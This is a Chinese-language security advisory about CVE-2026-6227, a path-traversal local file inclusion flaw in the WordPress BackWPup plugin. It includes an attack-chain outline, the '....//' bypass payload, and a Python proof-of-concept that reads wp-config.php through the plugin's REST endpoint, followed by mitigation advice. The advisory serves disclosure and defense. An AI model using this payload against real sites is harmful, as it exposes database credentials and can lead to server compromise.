IPBUF安全漏洞报告
English
CVE-2026-6227 CVSS 7.2 高危

CVE-2026-6227 WordPress BackWPup插件本地文件包含漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-6227
漏洞类型
本地文件包含
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress BackWPup Plugin

相关标签

LFIWordPressBackWPupPath TraversalRCECVE-2026-6227

漏洞概述

WordPress BackWPup插件在5.6.6及之前的版本中存在本地文件包含漏洞。由于对block_name参数的路径遍历序列清洗不彻底,经过身份验证的攻击者(特别是管理员或拥有备份权限的用户)可以利用精心构造的遍历序列(如....//)包含服务器上的任意PHP文件,进而读取敏感配置文件或在特定条件下执行远程代码。

技术细节

该漏洞源于BackWPup插件在处理REST API请求/wp-json/backwpup/v1/getblock时,对block_name参数的过滤机制存在缺陷。开发者使用了非递归的str_replace()函数来移除路径遍历序列(如../)。然而,这种简单的替换可以通过构造特定的payload(例如....//)绕过。当PHP处理....//时,经过一次替换变为../,从而保留了遍历功能。攻击者可利用此漏洞包含服务器上的任意文件。尽管默认需要管理员权限,但插件特有的权限委托机制可能使低权限用户也能利用此漏洞。成功利用后,攻击者可读取wp-config.php等敏感文件获取数据库凭证,若服务器允许日志记录或存在其他特定配置,甚至可能结合文件包含实现远程代码执行(RCE),完全控制服务器。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标站点,确认其运行WordPress并安装了BackWPup插件(版本<=5.6.6)。
STEP 2
步骤2:获取凭证
攻击者通过钓鱼、弱口令爆破或其他手段获取管理员或拥有备份管理权限的用户凭证。
STEP 3
步骤3:构造恶意请求
攻击者向REST API端点/wp-json/backwpup/v1/getblock发送GET请求,在block_name参数中使用“....//”绕过序列(如“....//....//wp-config.php”)。
STEP 4
步骤4:文件包含与利用
服务器端处理请求,清洗后的路径遍历生效,导致包含并执行目标文件。攻击者读取wp-config.php获取数据库密码,或尝试获取Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC for CVE-2026-6227 import requests target_url = "http://example.com/wp-json/backwpup/v1/getblock" # Authenticated user cookies (Admin or Backup Manager role) cookies = { "wordpress_logged_in_hash": "cookie_value_here", "wordpress_sec_hash": "cookie_value_here" } # Bypass payload: ....// becomes ../ after one str_replace pass # Targeting wp-config.php located 3 directories up relative to the script context payload = { "block_name": "....//....//....//wp-config.php" } try: response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Content of wp-config.php:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

BackWPup <= 5.6.6

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)添加规则,拦截包含“....//”、“..\”等变体路径遍历特征的请求。同时,严格限制WordPress管理后台的访问权限,确保所有管理员账户使用强密码,并启用双因素认证(2FA)以防止凭证被盗。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表